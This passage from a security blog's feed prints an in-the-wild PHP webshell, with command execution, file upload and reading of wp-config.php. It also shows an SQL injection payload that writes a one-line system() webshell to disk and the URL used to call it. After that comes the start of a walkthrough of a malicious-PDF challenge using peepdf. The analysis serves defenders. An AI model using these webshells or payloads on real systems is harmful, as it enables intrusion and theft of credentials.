</span><span class='line'><span class="nb">echo</span> <span class="s1">&#39;&lt;form method=&quot;POST&quot; action=&quot;&quot;&gt;&lt;font size=2 color=#FF0000&gt;&lt;b&gt;Command&lt;/b&gt;&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot;&gt;&lt;input type=&quot;Submit&quot; name=&quot;command&quot; value=&quot;eXcute&quot;&gt;&lt;/form&gt;&#39;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s1">&#39;&lt;form enctype=&quot;multipart/form-data&quot; action method=POST&gt;&lt;font size=2 color=#FF0000&gt;&lt;b&gt;Upload File&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;input type=hidden name=&quot;submit&quot;&gt;&lt;input type=file name=&quot;userfile&quot; size=28&gt;&lt;br&gt;&lt;font size=2 color=#FF0000&gt;&lt;b&gt;New name: &lt;/b&gt;&lt;/font&gt;&lt;input type=text size=15 name=&quot;newname&quot; class=ta&gt;&lt;input type=submit class=&quot;bt&quot; value=&quot;Upload&quot;&gt;&lt;/form&gt;&#39;</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span>isset<span class="o">(</span><span class="nv">$_POST</span><span class="o">[</span><span class="s1">&#39;submit&#39;</span><span class="o">])){</span>
</span><span class='line'><span class="nv">$uploaddir</span> <span class="o">=</span> <span class="nb">pwd</span><span class="o">()</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span>!<span class="nv">$name</span><span class="o">=</span><span class="nv">$_POST</span><span class="o">[</span><span class="s1">&#39;newname&#39;</span><span class="o">]){</span><span class="nv">$name</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="o">[</span><span class="s1">&#39;userfile&#39;</span><span class="o">][</span><span class="s1">&#39;name&#39;</span><span class="o">]</span><span class="p">;</span><span class="o">}</span><span class="p">;</span>
</span><span class='line'>move_uploaded_file<span class="o">(</span><span class="nv">$_FILES</span><span class="o">[</span><span class="s1">&#39;userfile&#39;</span><span class="o">][</span><span class="s1">&#39;tmp_name&#39;</span><span class="o">]</span>, <span class="nv">$uploaddir</span>.<span class="nv">$name</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span>move_uploaded_file<span class="o">(</span><span class="nv">$_FILES</span><span class="o">[</span><span class="s1">&#39;userfile&#39;</span><span class="o">][</span><span class="s1">&#39;tmp_name&#39;</span><span class="o">]</span>, <span class="nv">$uploaddir</span>.<span class="nv">$name</span><span class="o">)){</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;Upload Failed&quot;</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="nb">echo</span> <span class="s2">&quot;Upload Success to &quot;</span>.<span class="nv">$uploaddir</span>.<span class="nv">$name</span>.<span class="s2">&quot; :D &quot;</span><span class="p">;</span> <span class="o">}</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span>isset<span class="o">(</span><span class="nv">$_POST</span><span class="o">[</span><span class="s1">&#39;command&#39;</span><span class="o">])){</span>
</span><span class='line'><span class="nv">$cmd</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="o">[</span><span class="s1">&#39;cmd&#39;</span><span class="o">]</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;pre&gt;&lt;font size=3 color=#FFF5EE&gt;&quot;</span>.shell_exec<span class="o">(</span><span class="nv">$cmd</span><span class="o">)</span>.<span class="s2">&quot;&lt;/font&gt;&lt;/pre&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>elseif<span class="o">(</span>isset<span class="o">(</span><span class="nv">$_GET</span><span class="o">[</span><span class="s1">&#39;cmd&#39;</span><span class="o">])){</span>
</span><span class='line'><span class="nv">$comd</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="o">[</span><span class="s1">&#39;cmd&#39;</span><span class="o">]</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;pre&gt;&lt;font size=3 color=#FFF5EE&gt;&quot;</span>.shell_exec<span class="o">(</span><span class="nv">$comd</span><span class="o">)</span>.<span class="s2">&quot;&lt;/font&gt;&lt;/pre&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>elseif<span class="o">(</span>isset<span class="o">(</span><span class="nv">$_GET</span><span class="o">[</span><span class="s1">&#39;smtp&#39;</span><span class="o">])){</span>
</span><span class='line'><span class="nv">$smtp</span> <span class="o">=</span> file_get_contents<span class="o">(</span><span class="s2">&quot;../../wp-config.php&quot;</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="nv">$smtp</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'><span class="k">else</span> <span class="o">{</span> <span class="nb">echo</span> <span class="s2">&quot;&lt;pre&gt;&lt;font size=3 color=#FFF5EE&gt;&quot;</span>.shell_exec<span class="o">(</span><span class="s1">&#39;ls -la&#39;</span><span class="o">)</span>.<span class="s2">&quot;&lt;/font&gt;&lt;/pre&gt;&quot;</span><span class="p">;</span> <span class="o">}</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;center&gt;&lt;font size=4 color=#FFF5EE&gt;Jayalah &lt;font size=4 color=#FF0000&gt;INDO&lt;font size=4 color=white&gt;NESIA &lt;font size=4 color=#FFF5EE&gt;Ku&lt;/center&gt;&quot;</span><span class="p">;</span>
</span><span class='line'>?&gt;
</span><span class='line'>&lt;link <span class="nv">REL</span><span class="o">=</span><span class="s2">&quot;SHORTCUT ICON&quot;</span> <span class="nv">HREF</span><span class="o">=</span><span class="s2">&quot;http://www.forum.romanisti-indonesia.com/Smileys/default/b_indonesia.gif&quot;</span>&gt;&lt;/link&gt;&lt;body <span class="nv">bgcolor</span><span class="o">=</span><span class="s2">&quot;#000000&quot;</span>&gt;&lt;/body&gt;
</span></code></pre></td></tr></table></div></figure>


<p>First part of the code is sending email confirmation about infection to <code>setoran404@gmail.com</code>. After that there is a code responsible for command execution on infected system and  printing output  on the page. “Production” example found on the Internet:</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/myluph_www.png"></p>

<p>As you can see an attacker uploaded a few more “add-ons” like <code>Mailer-1.php</code>, <code>Mailer-2.php</code>, <code>1337w0rm.php</code> etc.</p>

<p>Again I use VirusTotal to check AV detection ratio:</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/virustot1_myluph.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/virustot2_myluph.png"></p>

<p>This time not so good - most of AV engines did not recognize file as suspicious.</p>

<h4>Delivering webshell using SQL Injection</h4>

<p>Take a closer look at the following example:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>UNION SELECT NULL,<span class="s2">&quot;&lt;? system($_REQUEST[&#39;cmd&#39;]); ?&gt;&quot;</span>, NULL INTO OUTFILE <span class="s2">&quot;/var/www/webshell.php&quot;</span> --
</span></code></pre></td></tr></table></div></figure>


<p>First of all attacker needs a SQL Injection vulnerability. Next a specially crafted request will inject PHP code which will be saved on the server.</p>

<p>Explanation:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>&lt;? system<span class="o">(</span><span class="nv">$_REQUEST</span><span class="o">[</span><span class="s1">&#39;cmd&#39;</span><span class="o">])</span><span class="p">;</span> ?&gt;
</span></code></pre></td></tr></table></div></figure>


<p>This is a simple webshell that will be used to execute commands on the web server. Depending on the SQL injection vulnerability attacker needs to place it in appropriate column. In this example the table has three columns. Code will be placed in the second one with others set to NULL.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>INTO OUTFILE
</span></code></pre></td></tr></table></div></figure>


<p>This SQL command allows attacker to write the webshell code to an arbitrary file.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="s2">&quot;/var/www/webshell.php&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Path where webshell will be stored. Important thing to note is that attacker needs to find directory on the server with write access e.g. temporary folders. In addition to that crooks have to find a way to force application to execute webshell script in this case this can be achieved via <a href="http://hakipedia.com/index.php/Local_File_Inclusion">LFI</a>. Following example includes all the above dependencies.</p>

<p>After executing the SQL query the webshell file is created. Now the attacker can interact with the webshell by simply sending a HTTP GET request and defining the following URL:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>http://www.vulnerablesite.com/webshell.php?cmd<span class="o">=</span>ls
</span></code></pre></td></tr></table></div></figure>


<p>The directory listing of <code>/var/www</code> will be returned by the server. Et voilà!</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/webshell_demo.png"></p>

<p>At the end, check how VirusTotal looks for that simple one-line webshell:</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/virustot_webshell.png"></p>

<p>Perfectly invisible ;)</p>

<p>If you would like to read or watch more, take a look at article on <a href="http://www.greensql.com/article/protect-yourself-sqli-attacks-create-backdoor-web-server-using-mysql">greensql</a> or <a href="https://www.youtube.com/watch?v=lcaqam-CyBE">YouTube movie</a>.</p>

<p>With three brief examples we&rsquo;ve just scratched the surface of this interesting topic. There are many other different ways to place and execute arbitrary code on a remote server and interact with OS. In the second part I&rsquo;d like to focus on a case which shows how dangerous webshells can be for a business infrastructure and describe methods to protect against them.</p>

<!--- Are you ready to jump to the next part? Quick coffee break and let's go. -->

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Toxic PDF Walkthrough - BSides London Challenge]]></title>
    <link href="http://dfir.it/blog/2015/07/18/toxic-pdf-walkthrough-bsides-london-challenge/"/>
    <updated>2015-07-18T19:30:38+02:00</updated>
    <id>http://dfir.it/blog/2015/07/18/toxic-pdf-walkthrough-bsides-london-challenge</id>
    <content type="html"><![CDATA[<p>Unfortunately I wasn&rsquo;t able to attend <a href="https://www.securitybsides.org.uk/">BSides London</a> this year - otherwise there would probably be a <a href="http://dfir.it/blog/2015/04/08/dfir-dot-it-on-tour-dfrws-2015-dublin/">DFIR.IT</a> on <a href="http://dfir.it/blog/categories/conference/">Tour</a> entry somewhere on the blog. Recently I haven&rsquo;t got a lot of time to play with any DFIR challenges but when one of the guys at work mentioned about <a href="https://www.securitybsides.org.uk/challenges.html">BSides Toxic PDF</a> I decided to give it a try.</p>

<!--more-->


<h3>The door</h3>

<p><strong>Toxic PDF</strong> instruction states: &ldquo;Don&rsquo;t be afraid to walk through the door (if you can)…&rdquo;</p>

<p>After opening the <code>crackme.pdf</code> the following screen appears:</p>

<p><img class="center" src="http://dfir.it/images/toxicpdf-walkthrough-bsides-london-challenge/door.png" title="Door" alt="Door"></p>

<p>Door would open only when correct key is entered. But where can we find the key?</p>

<p>Whenever I need to analyze <a href="http://dfir.it/blog/2015/06/17/analysts-handbook-analyzing-weaponized-documents/">maldocs</a>, malicious scripts, phishing emails my go-to platform is <a href="https://remnux.org/">REMnux</a>. I can&rsquo;t emphasize how cool it is to have all the tools for reversing and malware analysis at one place!</p>

<p>Let&rsquo;s crack on with the PDF analysis. For this we&rsquo;ll use great tool <a href="http://eternal-todo.com/tools/peepdf-pdf-analysis-tool">peepdf</a> created by Jose Miguel Esparza.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/PDF-B<span class="nv">$ </span>peepdf -i crackme.pdf
</span><span class='line'>File: crackme.pdf
</span><span class='line'>MD5: 9a8e90fb547d8fd3c865ed74782af600
</span><span class='line'>SHA1: b47f676fb46138273aa25609b1f8a9537605e3b6
</span><span class='line'>Size: <span class="m">127257</span> bytes
</span><span class='line'>Version: 1.7
</span><span class='line'>Binary: True
</span><span class='line'>Linearized: False
</span><span class='line'>Encrypted: False
</span><span class='line'>Updates: 0
</span><span class='line'>Objects: 46
</span><span class='line'>Streams: 23
</span><span class='line'>Comments: 0
</span><span class='line'>Errors: 0
</span><span class='line'>
</span><span class='line'>Version 0:
</span><span class='line'>  Catalog: 1
</span><span class='line'>  Info: 3
</span><span class='line'>  Objects <span class="o">(</span>46<span class="o">)</span>: <span class="o">[</span>1, 2, 3, 4, 5, 6, 7, 8, 9, 14, 15, 16, 190, 191, 192, 264, 265, 266, 273, 274, 282, 283, 299, 300, 325, 326, 327, 334, 335, 373, 374, 375, 376, 518, 530, 531, 532, 533, 577, 578, 579, 879, 880, 904, 913, 914<span class="o">]</span>
</span><span class='line'>  Compressed objects <span class="o">(</span>21<span class="o">)</span>: <span class="o">[</span>192, 577, 2, 3, 5, 6, 7, 264, 9, 266, 299, 300, 14, 879, 16, 579, 518, 373, 327, 190, 325<span class="o">]</span>
</span><span class='line'>      Errors <span class="o">(</span>3<span class="o">)</span>: <span class="o">[</span>374, 880, 904<span class="o">]</span>
</span><span class='line'>  Streams <span class="o">(</span>23<span class="o">)</span>: <span class="o">[</span>8, 15, 191, 265, 273, 274, 282, 283, 326, 334, 335, 374, 375, 376, 530, 531, 532, 533, 578, 880, 904, 913, 914<span class="o">]</span>
</span><span class='line'>      Xref streams <span class="o">(</span>1<span class="o">)</span>: <span class="o">[</span>914<span class="o">]</span>
</span><span class='line'>      Object streams <span class="o">(</span>1<span class="o">)</span>: <span class="o">[</span>913<span class="o">]</span>
</span><span class='line'>      Encoded <span class="o">(</span>23<span class="o">)</span>: <span class="o">[</span>8, 15, 191, 265, 273, 274, 282, 283, 326, 334, 335, 374, 375, 376, 530, 531, 532, 533, 578, 880, 904, 913, 914<span class="o">]</span>
</span><span class='line'>      Decoding errors <span class="o">(</span>1<span class="o">)</span>: <span class="o">[</span>374<span class="o">]</span>
</span><span class='line'>  Objects with JS code <span class="o">(</span>2<span class="o">)</span>: <span class="o">[</span>880, 904<span class="o">]</span>
</span><span class='line'>  Suspicious elements:
</span><span class='line'>      /AcroForm: <span class="o">[</span>1<span class="o">]</span>
</span><span class='line'>      /AA: <span class="o">[</span>913, 264, 14<span class="o">]</span>
</span><span class='line'>      /JS: <span class="o">[</span>913, 299, 879<span class="o">]</span>
</span><span class='line'>      /JavaScript: <span class="o">[</span>913, 299, 879<span class="o">]</span>
</span></code></pre></td></tr></table></div></figure>


<p>Usually when analyzing malicious PDF documents objects like <strong>AcroForm</strong>, <strong>AA</strong>(Additional Actions) or <strong>JavaScript</strong> are the the most interesting to look at. As <code>object 913</code> is on both <strong>AA</strong> and <strong>JS</strong> lists it seems to be a good starting point.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>PPDF&gt; object 913
</span><span class='line'>
</span><span class='line'>&lt;&lt; /Length 1065
</span><span class='line'>/N 21
</span><span class='line'>/Type /ObjStm
</span><span class='line'>/Filter /FlateDecode
</span><span class='line'>/First <span class="m">163</span> &gt;&gt;
</span><span class='line'>stream
</span><span class='line'><span class="m">2</span> <span class="m">0</span> <span class="m">3</span> <span class="m">37</span> <span class="m">5</span> <span class="m">182</span> <span class="m">6</span> <span class="m">419</span> <span class="m">7</span> <span class="m">530</span> <span class="m">9</span> <span class="m">602</span> <span class="m">14</span> <span class="m">635</span> <span class="m">16</span> <span class="m">882</span> <span class="m">190</span> <span class="m">915</span> <span class="m">192</span> <span class="m">1164</span> <span class="m">264</span> <span class="m">1197</span> <span class="m">266</span> <span class="m">1534</span> <span class="m">299</span> <span class="m">1555</span> <span class="m">300</span> <span class="m">1596</span> <span class="m">325</span> <span class="m">1611</span> <span class="m">327</span> <span class="m">1922</span> <span class="m">373</span> <span class="m">1943</span> <span class="m">518</span> <span class="m">2214</span> <span class="m">577</span> <span class="m">2229</span> <span class="m">579</span> <span class="m">2411</span> <span class="m">879</span> 2432
</span><span class='line'>&lt;&lt;/Type/Pages/Count 1/Kids<span class="o">[</span> <span class="m">4</span> <span class="m">0</span> R <span class="o">]</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/Producer<span class="o">(</span>Foxit PhantomPDF - Foxit Software Inc.<span class="o">)</span>/Author<span class="o">(</span>liv<span class="o">)</span>/Title<span class="o">(</span>Untitled<span class="o">)</span>/CreationDate<span class="o">(</span>D:20150308153143<span class="o">)</span>/ModDate<span class="o">(</span>D:20150315133057+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>&gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/FT/Tx/Ff 1/Type/Annot/Subtype/Widget/F 4/M<span class="o">(</span>D:20150308153155+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 161.487 717.47 450.513 760.867<span class="o">]</span>/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP&lt;&lt;/N <span class="m">8</span> <span class="m">0</span> R &gt;&gt;/V<span class="o">(</span>Knock! Knock! Anybody there?<span class="o">)</span>/DV<span class="o">(</span>Knock! Knock! Anybody there?<span class="o">)</span>/T<span class="o">(</span>msg<span class="o">)</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/DR&lt;&lt;/Font&lt;&lt;/Helv <span class="m">7</span> <span class="m">0</span> R &gt;&gt;&gt;&gt;/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> g<span class="o">)</span>/Fields<span class="o">[</span> <span class="m">14</span> <span class="m">0</span> R  <span class="m">5</span> <span class="m">0</span> R  <span class="m">190</span> <span class="m">0</span> R  <span class="m">264</span> <span class="m">0</span> R  <span class="m">325</span> <span class="m">0</span> R  <span class="m">577</span> <span class="m">0</span> R <span class="o">]</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/Type/Font/Subtype/Type1/BaseFont/Helvetica/Encoding/WinAnsiEncoding&gt;&gt;
</span><span class='line'>&lt;&lt;/Helvetica <span class="m">7</span> <span class="m">0</span> R /FXF0 <span class="m">7</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/FT/Tx/Ff 8192/Type/Annot/Subtype/Widget/F 4/M<span class="o">(</span>D:20150308153501+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 188.362 683.035 423.638 708.979<span class="o">]</span>/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP&lt;&lt;/N <span class="m">15</span> <span class="m">0</span> R &gt;&gt;/T<span class="o">(</span>pass<span class="o">)</span>/MK
</span><span class='line'>&lt;&lt;/BC<span class="o">[</span> 0.25098 <span class="m">0</span> 0.12549<span class="o">]</span>&gt;&gt;/Q 1/MaxLen 50/V<span class="o">(</span>123<span class="o">)</span>/DV<span class="o">(</span>1<span class="o">)</span>/AA <span class="m">518</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>&lt;&lt;/Helvetica <span class="m">7</span> <span class="m">0</span> R /FXF0 <span class="m">7</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/FT/Tx/Ff 0/Type/Annot/Subtype/Widget/F 6/M<span class="o">(</span>D:20150308184228+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 256.965 600.958 256.965 602.373<span class="o">]</span>/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP
</span><span class='line'>&lt;&lt;/N <span class="m">191</span> <span class="m">0</span> R &gt;&gt;/V<span class="o">(</span>9053d91a70acfd6614f0243caac70ce2<span class="o">)</span>/DV<span class="o">(</span>9053d91a70acfd6614f0243caac70ce2<span class="o">)</span>/T<span class="o">(</span>  %e<span class="o">)</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/Helvetica <span class="m">7</span> <span class="m">0</span> R /FXF0 <span class="m">7</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/FT/Btn/Ff 65536/Type/Annot/Subtype/Widget/F 4/M<span class="o">(</span>D:20150314181444+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 236.219 401.896 372.009 655.204<span class="o">]</span>/MK
</span><span class='line'>&lt;&lt;/BG<span class="o">[</span> 0.752941 0.752941 0.752941<span class="o">]</span>/AC<span class="o">(</span><span class="nb">test</span><span class="o">)</span>/TP 1/IF&lt;&lt;/S/P/FB <span class="nb">true</span>/SW/A/A<span class="o">[</span> 0.5 0.5<span class="o">]</span>&gt;&gt;/IX <span class="m">283</span> <span class="m">0</span> R /I <span class="m">274</span> <span class="m">0</span> R &gt;&gt;/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/H/N/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP&lt;&lt;/N <span class="m">265</span> <span class="m">0</span> R &gt;&gt;/T<span class="o">(</span>door<span class="o">)</span>/AA <span class="m">300</span> <span class="m">0</span> R /TU<span class="o">(</span>Click to open the door!<span class="o">)</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/Helvetica <span class="m">7</span> <span class="m">0</span> R &gt;&gt;&lt;&lt;/Type/Action/S/JavaScript/JS <span class="m">904</span> <span class="m">0</span> R &gt;&gt;&lt;&lt;/D <span class="m">299</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/FT/Btn/Ff 65536/Type/Annot/Subtype/Widget/F 6/M<span class="o">(</span>D:20150314183524+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 236.804 400.953 371.652 654.733<span class="o">]</span>/MK
</span><span class='line'>&lt;&lt;/BG<span class="o">[</span> 0.752941 0.752941 0.752941<span class="o">]</span>/TP 1/IF&lt;&lt;/S/P/FB <span class="nb">true</span>/SW/A/A<span class="o">[</span> 0.5 0.5<span class="o">]</span>&gt;&gt;/I <span class="m">335</span> <span class="m">0</span> R /IX <span class="m">533</span> <span class="m">0</span> R &gt;&gt;/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/H/P/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP&lt;&lt;/N <span class="m">326</span> <span class="m">0</span> R /R <span class="m">530</span> <span class="m">0</span> R /D <span class="m">531</span> <span class="m">0</span> R &gt;&gt;/T<span class="o">(</span>door2<span class="o">)</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/Helvetica <span class="m">7</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/Rect<span class="o">[</span> 496.955 602.865 577.955 685.865<span class="o">]</span>/Subtype/Screen/P <span class="m">4</span> <span class="m">0</span> R /M<span class="o">(</span>D:20150314185841+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/F 4/NM<span class="o">(</span>31cede6f-f679-47c0-a8a9-d8eefad3b763<span class="o">)</span>/IT/Img/BS&lt;&lt;/S/S/W 0&gt;&gt;/MK
</span><span class='line'>&lt;&lt;/BC<span class="o">[</span> <span class="m">0</span> <span class="m">0</span> 1<span class="o">]</span>/R 0/I <span class="m">375</span> <span class="m">0</span> R /IF&lt;&lt;/S/P/FB <span class="nb">false</span>/SW/A/A<span class="o">[</span> 0.5 0.5<span class="o">]</span>&gt;&gt;&gt;&gt;/CA 1/C<span class="o">[</span> <span class="m">0</span> <span class="m">0</span> 0.003922<span class="o">]</span>/AP
</span><span class='line'>&lt;&lt;/N <span class="m">376</span> <span class="m">0</span> R &gt;&gt;&gt;&gt;
</span><span class='line'>&lt;&lt;/V <span class="m">879</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt;/FT/Tx/Ff 4198400/Type/Annot/Subtype/Widget/F 36/M<span class="o">(</span>D:20150314200638+00<span class="s1">&#39;00&#39;</span><span class="o">)</span>/Rect<span class="o">[</span> 145.692 263.686 466.308 358.971<span class="o">]</span>/BS
</span><span class='line'>&lt;&lt;/W 1/S/S&gt;&gt;/DA<span class="o">(</span>/Helv <span class="m">0</span> Tf <span class="m">0</span> <span class="m">0</span> <span class="m">0</span> rg<span class="o">)</span>/AP&lt;&lt;/N <span class="m">578</span> <span class="m">0</span> R &gt;&gt;/T<span class="o">(</span>366<span class="o">)</span>&gt;&gt;
</span><span class='line'>&lt;&lt;/Helvetica <span class="m">7</span> <span class="m">0</span> R &gt;&gt;&lt;&lt;/Type/Action/S/JavaScript/JS <span class="m">880</span> <span class="m">0</span> R &gt;&gt;
</span><span class='line'>Endstream
</span></code></pre></td></tr></table></div></figure>


<p>Based on the above output we can see that <code>Click to open the door</code> action is handled by JavaScript <code>object 904</code>.  This may include some sort of password validation code:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
